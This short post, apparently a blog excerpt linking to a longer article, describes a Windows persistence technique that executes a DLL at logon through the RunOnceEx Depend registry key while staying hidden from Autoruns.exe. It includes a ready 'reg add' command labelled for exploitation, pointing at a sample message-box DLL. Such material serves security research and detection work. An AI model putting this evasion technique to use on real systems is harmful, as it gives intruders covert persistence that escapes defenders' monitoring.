Persistence using RunOnceEx – Hidden from Autoruns.exe

  • Found a technique to execute DLL files without being detected by autoruns.exe at logon.
  • Requires administrator rights and does not belong in userland.
  • Run this to Exploit:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\messageBox64.dll"

for some other features continue reading the original article at

Leave a Reply

Your email address will not be published. Required fields are marked *